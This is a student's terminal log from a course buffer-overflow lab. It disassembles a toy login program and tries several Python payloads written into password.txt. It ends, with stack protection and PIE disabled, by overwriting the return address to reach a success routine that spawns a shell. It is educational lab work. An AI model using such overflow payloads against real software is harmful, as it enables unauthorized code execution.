Buffer Overflow Attack Log

```
corinnejones@corinnes-mbp CS6014_Networks&Security % cd
Lab_BufferOverflow
corinnejones@corinnes-mbp Lab_BufferOverflow % ls
a.out        a.out.dSYM   login.c      password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % otool -tB a.out
a.out:
(__TEXT,__text) section
0000000100003d40 48 83 ec 38 48 89 7c 24 28 89 74 24 24 83 7c 24
0000000100003d50 24 ff 0f 85 1b 00 00 00 48 8d 3d ab 01 00 00 b0
0000000100003d60 00 e8 8c 01 00 00 c7 44 24 34 00 00 00 00 e9 62
0000000100003d70 00 00 00 48 8d 05 ae 01 00 00 48 89 44 24 18 48
0000000100003d80 63 44 24 24 48 89 44 24 08 48 8b 7c 24 18 e8 71
0000000100003d90 01 00 00 48 8b 4c 24 08 48 89 c2 31 c0 48 39 d1
0000000100003da0 88 44 24 17 0f 85 1e 00 00 00 48 8b 7c 24 28 48
0000000100003db0 8b 74 24 18 48 63 54 24 24 e8 28 01 00 00 83 f8
0000000100003dc0 00 0f 94 c0 88 44 24 17 8a 44 24 17 24 01 0f b6
0000000100003dd0 c0 89 44 24 34 8b 44 24 34 48 83 c4 38 c3 66 90
0000000100003de0 48 83 ec 18 48 8b 05 5d 02 00 00 48 89 04 24 48
0000000100003df0 c7 44 24 08 00 00 00 00 48 8d 3d 3d 01 00 00 e8
0000000100003e00 f4 00 00 00 48 8b 3d 3d 02 00 00 48 89 e6 48 8b
0000000100003e10 05 f3 01 00 00 48 8b 10 e8 c3 00 00 00 48 83 c4
0000000100003e20 18 c3 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00
0000000100003e30 50 48 8d 3d 17 01 00 00 e8 bb 00 00 00 58 c3 90
0000000100003e40 48 83 ec 28 48 8d 3d 14 01 00 00 31 f6 b0 00 e8
0000000100003e50 98 00 00 00 89 44 24 0c 48 8d 3d 0d 01 00 00 b0
0000000100003e60 00 e8 8c 00 00 00 8b 7c 24 0c 48 8d 74 24 10 ba
0000000100003e70 e8 03 00 00 e8 85 00 00 00 89 44 24 08 8b 7c 24
0000000100003e80 0c e8 54 00 00 00 48 8d 7c 24 10 8b 74 24 08 e8
0000000100003e90 ac fe ff ff 48 83 c4 28 c3 0f 1f 80 00 00 00 00
0000000100003ea0 50 c7 44 24 04 00 00 00 00 e8 92 ff ff ff 89 04
0000000100003eb0 24 83 3c 24 00 0f 84 0a 00 00 00 e8 20 ff ff ff
0000000100003ec0 e9 05 00 00 00 e8 66 ff ff ff 48 8d 3d b1 00 00
0000000100003ed0 00 e8 22 00 00 00 31 c0 59 c3
corinnejones@corinnes-mbp Lab_BufferOverflow % ls
a.out        a.out.dSYM   login.c      password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % otool -tV login.c
login.c: is not an object file
corinnejones@corinnes-mbp Lab_BufferOverflow % otool -tV a.out
a.out:
(__TEXT,__text) section
_check_secret:
0000000100003d40 subq$0x38, %rsp
0000000100003d44 movq%rdi, 0x28(%rsp)
0000000100003d49 movl%esi, 0x24(%rsp)
0000000100003d4d cmpl$-0x1, 0x24(%rsp)
0000000100003d52 jne 0x100003d73
```

```
0000000100003d58 leaq0x1ab(%rip), %rdi               ## literal pool
for: "problem reading password.txt\n"
0000000100003d5f movb$0x0, %al
0000000100003d61 callq   0x100003ef2                      ## symbol
stub for: _printf
0000000100003d66 movl$0x0, 0x34(%rsp)
0000000100003d6e jmp 0x100003dd5
0000000100003d73 leaq0x1ae(%rip), %rax               ## literal pool
for: "superSecretPassword"
0000000100003d7a movq%rax, 0x18(%rsp)
0000000100003d7f movslq  0x24(%rsp), %rax
0000000100003d84 movq%rax, 0x8(%rsp)
0000000100003d89 movq0x18(%rsp), %rdi
0000000100003d8e callq   0x100003f04                      ## symbol
stub for: _strlen
0000000100003d93 movq0x8(%rsp), %rcx
0000000100003d98 movq%rax, %rdx
0000000100003d9b xorl%eax, %eax
0000000100003d9d cmpq%rdx, %rcx
0000000100003da0 movb%al, 0x17(%rsp)
0000000100003da4 jne 0x100003dc8
0000000100003daa movq0x28(%rsp), %rdi
0000000100003daf movq0x18(%rsp), %rsi
0000000100003db4 movslq  0x24(%rsp), %rdx
0000000100003db9 callq   0x100003ee6                      ## symbol
stub for: _memcmp
0000000100003dbe cmpl$0x0, %eax
0000000100003dc1 sete%al
0000000100003dc4 movb%al, 0x17(%rsp)
0000000100003dc8 movb0x17(%rsp), %al
0000000100003dcc andb$0x1, %al
0000000100003dce movzbl  %al, %eax
0000000100003dd1 movl%eax, 0x34(%rsp)
0000000100003dd5 movl0x34(%rsp), %eax
0000000100003dd9 addq$0x38, %rsp
0000000100003ddd retq
0000000100003dde nop
_success:
0000000100003de0 subq$0x18, %rsp
0000000100003de4 movq_sh(%rip), %rax
0000000100003deb movq%rax, (%rsp)
0000000100003def movq$0x0, 0x8(%rsp)
0000000100003df8 leaq0x13d(%rip), %rdi               ## literal pool
for: "successful login!\n"
0000000100003dff callq   0x100003ef8                      ## symbol
stub for: _puts
0000000100003e04 movq_sh(%rip), %rdi
0000000100003e0b movq%rsp, %rsi
```

```
0000000100003e0e movq0x1f3(%rip), %rax              ## literal pool
symbol address: _environ
0000000100003e15 movq(%rax), %rdx
0000000100003e18 callq   0x100003ee0                    ## symbol
stub for: _execve
0000000100003e1d addq$0x18, %rsp
0000000100003e21 retq
0000000100003e22 nopw%cs:(%rax,%rax)
_failure:
0000000100003e30 pushq   %rax
0000000100003e31 leaq0x117(%rip), %rdi              ## literal pool
for: "wrong password\n"
0000000100003e38 callq   0x100003ef8                    ## symbol
stub for: _puts
0000000100003e3d popq%rax
0000000100003e3e retq
0000000100003e3f nop
_login:
0000000100003e40 subq$0x28, %rsp
0000000100003e44 leaq0x114(%rip), %rdi              ## literal pool
for: "password.txt"
0000000100003e4b xorl%esi, %esi
0000000100003e4d movb$0x0, %al
0000000100003e4f callq   0x100003eec                    ## symbol
stub for: _open
0000000100003e54 movl%eax, 0xc(%rsp)
0000000100003e58 leaq0x10d(%rip), %rdi              ## literal pool
for: "enter your password:\n"
0000000100003e5f movb$0x0, %al
0000000100003e61 callq   0x100003ef2                    ## symbol
stub for: _printf
0000000100003e66 movl0xc(%rsp), %edi
0000000100003e6a leaq0x10(%rsp), %rsi
0000000100003e6f movl$0x3e8, %edx                   ## imm = 0x3E8
0000000100003e74 callq   0x100003efe                    ## symbol
stub for: _read
0000000100003e79 movl%eax, 0x8(%rsp)
0000000100003e7d movl0xc(%rsp), %edi
0000000100003e81 callq   0x100003eda                    ## symbol
stub for: _close
0000000100003e86 leaq0x10(%rsp), %rdi
0000000100003e8b movl0x8(%rsp), %esi
0000000100003e8f callq   _check_secret
0000000100003e94 addq$0x28, %rsp
0000000100003e98 retq
0000000100003e99 nopl(%rax)
_main:
0000000100003ea0 pushq   %rax
0000000100003ea1 movl$0x0, 0x4(%rsp)
```

```
0000000100003ea9 callq    _login
0000000100003eae movl%eax, (%rsp)
0000000100003eb1 cmpl$0x0, (%rsp)
0000000100003eb5 je  0x100003ec5
0000000100003ebb callq    _success
0000000100003ec0 jmp 0x100003eca
0000000100003ec5 callq    _failure
0000000100003eca leaq0xb1(%rip), %rdi               ## literal pool
for: "exiting in main\n"
0000000100003ed1 callq   0x100003ef8                    ## symbol
stub for: _puts
0000000100003ed6 xorl%eax, %eax
0000000100003ed8 popq%rcx
0000000100003ed9 retq
corinnejones@corinnes-mbp Lab_BufferOverflow % objdump --disassemble
--x86-asm-syntax=intel a.out

a.out:   file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000100003d40 <_check_secret>:
100003d40: 48 83 ec 38                  sub rsp, 56
100003d44: 48 89 7c 24 28               mov qword ptr [rsp + 40],
rdi
100003d49: 89 74 24 24                  mov dword ptr [rsp + 36],
esi
100003d4d: 83 7c 24 24 ff               cmp dword ptr [rsp + 36], -1
100003d52: 0f 85 1b 00 00 00            jne 0x100003d73
<_check_secret+0x33>
100003d58: 48 8d 3d ab 01 00 00         lea rdi, [rip + 427]
## 0x100003f0a <_strlen+0x100003f0a>
100003d5f: b0 00                        mov al, 0
100003d61: e8 8c 01 00 00               call0x100003ef2
<_strlen+0x100003ef2>
100003d66: c7 44 24 34 00 00 00 00      mov dword ptr [rsp + 52], 0
100003d6e: e9 62 00 00 00               jmp 0x100003dd5
<_check_secret+0x95>
100003d73: 48 8d 05 ae 01 00 00         lea rax, [rip + 430]
## 0x100003f28 <_strlen+0x100003f28>
100003d7a: 48 89 44 24 18               mov qword ptr [rsp + 24],
rax
100003d7f: 48 63 44 24 24               movsxd   rax, dword ptr [rsp
+ 36]
100003d84: 48 89 44 24 08               mov qword ptr [rsp + 8], rax
100003d89: 48 8b 7c 24 18               mov rdi, qword ptr [rsp +
24]
100003d8e: e8 71 01 00 00               call0x100003f04
<_strlen+0x100003f04>
```

```
100003d93: 48 8b 4c 24 08                 mov rcx, qword ptr [rsp + 8]
100003d98: 48 89 c2                       mov rdx, rax
100003d9b: 31 c0                          xor eax, eax
100003d9d: 48 39 d1                       cmp rcx, rdx
100003da0: 88 44 24 17                    mov byte ptr [rsp + 23], al
100003da4: 0f 85 1e 00 00 00              jne 0x100003dc8
<_check_secret+0x88>
100003daa: 48 8b 7c 24 28                 mov rdi, qword ptr [rsp +
40]
100003daf: 48 8b 74 24 18                 mov rsi, qword ptr [rsp +
24]
100003db4: 48 63 54 24 24                 movsxd   rdx, dword ptr [rsp
+ 36]
100003db9: e8 28 01 00 00                 call0x100003ee6
<_strlen+0x100003ee6>
100003dbe: 83 f8 00                       cmp eax, 0
100003dc1: 0f 94 c0                       seteal
100003dc4: 88 44 24 17                    mov byte ptr [rsp + 23], al
100003dc8: 8a 44 24 17                    mov al, byte ptr [rsp + 23]
100003dcc: 24 01                          and al, 1
100003dce: 0f b6 c0                       movzx   eax, al
100003dd1: 89 44 24 34                    mov dword ptr [rsp + 52],
eax
100003dd5: 8b 44 24 34                    mov eax, dword ptr [rsp +
52]
100003dd9: 48 83 c4 38                    add rsp, 56
100003ddd: c3                             ret
100003dde: 66 90                          nop

0000000100003de0 <_success>:
100003de0: 48 83 ec 18                    sub rsp, 24
100003de4: 48 8b 05 5d 02 00 00           mov rax, qword ptr [rip +
605] ## 0x100004048 <_sh>
100003deb: 48 89 04 24                    mov qword ptr [rsp], rax
100003def: 48 c7 44 24 08 00 00 00 00     mov qword ptr [rsp + 8], 0
100003df8: 48 8d 3d 3d 01 00 00           lea rdi, [rip + 317]
## 0x100003f3c <_strlen+0x100003f3c>
100003dff: e8 f4 00 00 00                 call0x100003ef8
<_strlen+0x100003ef8>
100003e04: 48 8b 3d 3d 02 00 00           mov rdi, qword ptr [rip +
573] ## 0x100004048 <_sh>
100003e0b: 48 89 e6                       mov rsi, rsp
100003e0e: 48 8b 05 f3 01 00 00           mov rax, qword ptr [rip +
499] ## 0x100004008 <_strlen+0x100004008>
100003e15: 48 8b 10                       mov rdx, qword ptr [rax]
100003e18: e8 c3 00 00 00                 call0x100003ee0
<_strlen+0x100003ee0>
100003e1d: 48 83 c4 18                    add rsp, 24
100003e21: c3                             ret
```

```
100003e22: 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00   nopword ptr cs:
[rax + rax]

0000000100003e30 <_failure>:
100003e30: 50                                  pushrax
100003e31: 48 8d 3d 17 01 00 00                lea rdi, [rip + 279]
## 0x100003f4f <_strlen+0x100003f4f>
100003e38: e8 bb 00 00 00                      call0x100003ef8
<_strlen+0x100003ef8>
100003e3d: 58                                  pop rax
100003e3e: c3                                  ret
100003e3f: 90                                  nop

0000000100003e40 <_login>:
100003e40: 48 83 ec 28                         sub rsp, 40
100003e44: 48 8d 3d 14 01 00 00                lea rdi, [rip + 276]
## 0x100003f5f <_strlen+0x100003f5f>
100003e4b: 31 f6                               xor esi, esi
100003e4d: b0 00                               mov al, 0
100003e4f: e8 98 00 00 00                      call0x100003eec
<_strlen+0x100003eec>
100003e54: 89 44 24 0c                         mov dword ptr [rsp + 12],
eax
100003e58: 48 8d 3d 0d 01 00 00                lea rdi, [rip + 269]
## 0x100003f6c <_strlen+0x100003f6c>
100003e5f: b0 00                               mov al, 0
100003e61: e8 8c 00 00 00                      call0x100003ef2
<_strlen+0x100003ef2>
100003e66: 8b 7c 24 0c                         mov edi, dword ptr [rsp +
12]
100003e6a: 48 8d 74 24 10                      lea rsi, [rsp + 16]
100003e6f: ba e8 03 00 00                      mov edx, 1000
100003e74: e8 85 00 00 00                      call0x100003efe
<_strlen+0x100003efe>
100003e79: 89 44 24 08                         mov dword ptr [rsp + 8], eax
100003e7d: 8b 7c 24 0c                         mov edi, dword ptr [rsp +
12]
100003e81: e8 54 00 00 00                      call0x100003eda
<_strlen+0x100003eda>
100003e86: 48 8d 7c 24 10                      lea rdi, [rsp + 16]
100003e8b: 8b 74 24 08                         mov esi, dword ptr [rsp + 8]
100003e8f: e8 ac fe ff ff                      call0x100003d40
<_check_secret>
100003e94: 48 83 c4 28                         add rsp, 40
100003e98: c3                                  ret
100003e99: 0f 1f 80 00 00 00 00                nop dword ptr [rax]

0000000100003ea0 <_main>:
100003ea0: 50                                  pushrax
```

```
100003ea1: c7 44 24 04 00 00 00 00        mov dword ptr [rsp + 4], 0
100003ea9: e8 92 ff ff ff                 call0x100003e40 <_login>
100003eae: 89 04 24                       mov dword ptr [rsp], eax
100003eb1: 83 3c 24 00                    cmp dword ptr [rsp], 0
100003eb5: 0f 84 0a 00 00 00              je  0x100003ec5 <_main+0x25>
100003ebb: e8 20 ff ff ff                 call0x100003de0 <_success>
100003ec0: e9 05 00 00 00                 jmp 0x100003eca <_main+0x2a>
100003ec5: e8 66 ff ff ff                 call0x100003e30 <_failure>
100003eca: 48 8d 3d b1 00 00 00           lea rdi, [rip + 177]
## 0x100003f82 <_strlen+0x100003f82>
100003ed1: e8 22 00 00 00                 call0x100003ef8
<_strlen+0x100003ef8>
100003ed6: 31 c0                          xor eax, eax
100003ed8: 59                             pop rcx
100003ed9: c3                             ret

Disassembly of section __TEXT,__stubs:

0000000100003eda <__stubs>:
100003eda: ff 25 20 01 00 00              jmp qword ptr [rip + 288]
## 0x100004000 <_strlen+0x100004000>
100003ee0: ff 25 2a 01 00 00              jmp qword ptr [rip + 298]
## 0x100004010 <_strlen+0x100004010>
100003ee6: ff 25 2c 01 00 00              jmp qword ptr [rip + 300]
## 0x100004018 <_strlen+0x100004018>
100003eec: ff 25 2e 01 00 00              jmp qword ptr [rip + 302]
## 0x100004020 <_strlen+0x100004020>
100003ef2: ff 25 30 01 00 00              jmp qword ptr [rip + 304]
## 0x100004028 <_strlen+0x100004028>
100003ef8: ff 25 32 01 00 00              jmp qword ptr [rip + 306]
## 0x100004030 <_strlen+0x100004030>
100003efe: ff 25 34 01 00 00              jmp qword ptr [rip + 308]
## 0x100004038 <_strlen+0x100004038>
100003f04: ff 25 36 01 00 00              jmp qword ptr [rip + 310]
## 0x100004040 <_strlen+0x100004040>
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c 'import sys;
sys.stdout.buffer.write(b"a"*20 + b"\x3e\xbb")' > password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % lldb a.out
(lldb) target create "a.out"
Current executable set to '/Users/corinnejones/GitHubSchool/
Spring2024/CS6014_Networks&Security/Lab_BufferOverflow/
a.out' (x86_64).
(lldb) run a.out
Process 31365 launched: '/Users/corinnejones/GitHubSchool/Spring2024/
CS6014_Networks&Security/Lab_BufferOverflow/a.out' (x86_64)
warning: libobjc.A.dylib is being read from process memory. This
indicates that LLDB could not read from the host's in-memory shared
cache. This will likely reduce debugging performance.
```

```
enter your password:
wrong password

exiting in main

Process 31365 exited with status = 0 (0x00000000)
(lldb) ls
error: 'ls' is not a valid command.
(lldb) :q
error: ':q' is not a valid command.
(lldb) q
corinnejones@corinnes-mbp Lab_BufferOverflow % ls
a.out        a.out.dSYM   login.c      password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % cat password.txt
aaaaaaaaaaaaaaaaaaaa>?%
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c  'import
sys; sys.stdout.buffer.write(b"a"*24 + b"\xbb")' > password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % ls
a.out        a.out.dSYM   login.c      password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % gcc login.c
corinnejones@corinnes-mbp Lab_BufferOverflow % ./a.out
enter your password:
zsh: abort      ./a.out
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c  'import
sys; sys.stdout.buffer.write(b"a"*10 + b"\xbb\")' > password.txt

  File "<string>", line 1
    import sys; sys.stdout.buffer.write(b"a"*10 + b"\xbb\")
                                                  ^
SyntaxError: unterminated string literal (detected at line 1)
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c 'import sys;
sys.stdout.buffer.write(b"a"*24 + b"\xbb\x3e\x00\x10")' > password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % gcc login.c
corinnejones@corinnes-mbp Lab_BufferOverflow % ls
a.out        a.out.dSYM   login.c      password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % ./a.out
enter your password:
zsh: abort      ./a.out
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c  'import
sys; sys.stdout.buffer.write(b"a"*24 + b"\xbb\")' > password.txt

  File "<string>", line 1
    import sys; sys.stdout.buffer.write(b"a"*24 + b"\xbb\")
                                                  ^
SyntaxError: unterminated string literal (detected at line 1)
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c  'import
sys; sys.stdout.buffer.write(b"a"*24 + b"\xbb")' > password.txt

corinnejones@corinnes-mbp Lab_BufferOverflow % gcc login.c
```

```
corinnejones@corinnes-mbp Lab_BufferOverflow % ./a.out
enter your password:
zsh: abort      ./a.out
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c  'import
sys; sys.stdout.buffer.write(b"a"*24 + b"\xae")' > password.txt

corinnejones@corinnes-mbp Lab_BufferOverflow % gcc login.c
corinnejones@corinnes-mbp Lab_BufferOverflow % ls
a.out        a.out.dSYM   login.c      password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % ./a.out
enter your password:
zsh: abort      ./a.out
corinnejones@corinnes-mbp Lab_BufferOverflow % ls
a.out        a.out.dSYM   login.c      password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c 'import sys;
sys.stdout.buffer.write(b"a"*24 + b"\xe0\x3d\x00\x10")' > password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c 'import sys;
sys.stdout.buffer.write(b"a"*24 +
b"\xae\x3e\x00\x01\x00\x00\x00\x00")' > password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % gcc login.c
corinnejones@corinnes-mbp Lab_BufferOverflow % ./a.out
enter your password:
zsh: abort      ./a.out
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c 'import sys;
sys.stdout.buffer.write(b"a"*24 +
b"\xbb\x3e\x00\x01\x00\x00\x00\x00")' > password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % gcc login.c
corinnejones@corinnes-mbp Lab_BufferOverflow % ./a.out
enter your password:
zsh: abort      ./a.out
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c 'import sys;
sys.stdout.buffer.write(b"a"*24 +
b"\xbb\x3e\x00\x01\x00\x00\x00\x00")' > password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % ./a.out
enter your password:
zsh: abort      ./a.out
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c 'import sys;
sys.stdout.buffer.write(b"a"*10 + b"\xbb\x3e\x00\x00\x01")' >
password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % gcc login.c
corinnejones@corinnes-mbp Lab_BufferOverflow % ./a.out
enter your password:
wrong password

exiting in main

corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c 'import sys;
sys.stdout.buffer.write(b"a"*24 +
b"\xbb\x3e\x00\x01\x00\x00\x00\x00")' > password.txt
```

```
corinnejones@corinnes-mbp Lab_BufferOverflow % lldb a.out
(lldb) target create "a.out"
Current executable set to '/Users/corinnejones/GitHubSchool/
Spring2024/CS6014_Networks&Security/Lab_BufferOverflow/a.out' (arm64).
(lldb) b login
Breakpoint 1: 2 locations.
(lldb) run
Process 31805 launched: '/Users/corinnejones/GitHubSchool/Spring2024/
CS6014_Networks&Security/Lab_BufferOverflow/a.out' (arm64)
Process 31805 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint
1.1
    frame #0: 0x0000000100003dbc a.out`login
a.out`login:
->  0x100003dbc <+0>:  sub    sp, sp, #0x50
    0x100003dc0 <+4>:  stp    x29, x30, [sp, #0x40]
    0x100003dc4 <+8>:  add    x29, sp, #0x40
    0x100003dc8 <+12>: adrp   x8, 1
Target 0: (a.out) stopped.
(lldb) dis
a.out`login:
->  0x100003dbc <+0>:   sub    sp, sp, #0x50
    0x100003dc0 <+4>:   stp    x29, x30, [sp, #0x40]
    0x100003dc4 <+8>:   add    x29, sp, #0x40
    0x100003dc8 <+12>:  adrp   x8, 1
    0x100003dcc <+16>:  ldr    x8, [x8, #0x8]
    0x100003dd0 <+20>:  ldr    x8, [x8]
    0x100003dd4 <+24>:  stur   x8, [x29, #-0x8]
    0x100003dd8 <+28>:  adrp   x0, 0
    0x100003ddc <+32>:  add    x0, x0, #0xf79            ;
"password.txt"
    0x100003de0 <+36>:  mov    w1, #0x0
    0x100003de4 <+40>:  bl     0x100003ee8               ; symbol stub
for: open
    0x100003de8 <+44>:  str    w0, [sp, #0x1c]
    0x100003dec <+48>:  adrp   x0, 0
    0x100003df0 <+52>:  add    x0, x0, #0xf86            ; "enter your
password:\n"
    0x100003df4 <+56>:  bl     0x100003ef4               ; symbol stub
for: printf
    0x100003df8 <+60>:  ldr    w0, [sp, #0x1c]
    0x100003dfc <+64>:  add    x1, sp, #0x20
    0x100003e00 <+68>:  str    x1, [sp, #0x8]
    0x100003e04 <+72>:  mov    x2, #0x3e8
    0x100003e08 <+76>:  bl     0x100003f0c               ; symbol stub
for: read
    0x100003e0c <+80>:  mov    x8, x0
    0x100003e10 <+84>:  str    w8, [sp, #0x18]
    0x100003e14 <+88>:  ldr    w0, [sp, #0x1c]
    0x100003e18 <+92>:  bl     0x100003ec4               ; symbol stub
for: close
    0x100003e1c <+96>:  ldr    x0, [sp, #0x8]
    0x100003e20 <+100>: ldr    w1, [sp, #0x18]
    0x100003e24 <+104>: bl     0x100003c5c               ;
check_secret
    0x100003e28 <+108>: str    w0, [sp, #0x14]
    0x100003e2c <+112>: ldur   x9, [x29, #-0x8]
    0x100003e30 <+116>: adrp   x8, 1
    0x100003e34 <+120>: ldr    x8, [x8, #0x8]
    0x100003e38 <+124>: ldr    x8, [x8]
    0x100003e3c <+128>: subs   x8, x8, x9
    0x100003e40 <+132>: cset   w8, eq
    0x100003e44 <+136>: tbnz   w8, #0x0, 0x100003e50     ; <+148>
    0x100003e48 <+140>: b      0x100003e4c               ; <+144>
    0x100003e4c <+144>: bl     0x100003eb8               ; symbol stub
for: __stack_chk_fail
    0x100003e50 <+148>: ldr    w0, [sp, #0x14]
    0x100003e54 <+152>: ldp    x29, x30, [sp, #0x40]
    0x100003e58 <+156>: add    sp, sp, #0x50
    0x100003e5c <+160>: ret
(lldb) exit
Quitting LLDB will kill one or more processes. Do you really want to
proceed: [Y/n] y
corinnejones@corinnes-mbp Lab_BufferOverflow % clang --target=macos-
x86_64 -g -O0 -fno-stack-protector -fomit-frame-pointer -Wl,-no_pie
login.c
ld: warning: -no_pie is deprecated when targeting new OS versions
corinnejones@corinnes-mbp Lab_BufferOverflow % ./a.out
enter your password:
zsh: segmentation fault  ./a.out
corinnejones@corinnes-mbp Lab_BufferOverflow % ls
a.out        a.out.dSYM   login.c      password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c 'import sys;
sys.stdout.buffer.write(b"a"*24 +
b"\xbb\x3e\x00\x01\x00\x00\x00\x00")' > password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % ls
a.out        a.out.dSYM   login.c      password.txt
corinnejones@corinnes-mbp Lab_BufferOverflow % ./a.out
enter your password:
zsh: segmentation fault  ./a.out
corinnejones@corinnes-mbp Lab_BufferOverflow % python3 -c 'import sys;
sys.stdout.buffer.write(b"A"*24 +
b"\xbb\x3e\x00\x00\x01\x00\x00\x00")' > password.txt

corinnejones@corinnes-mbp Lab_BufferOverflow % a.out
zsh: command not found: a.out
corinnejones@corinnes-mbp Lab_BufferOverflow % ./a.out
enter your password:
```

```
successful login!

sh-3.2$
```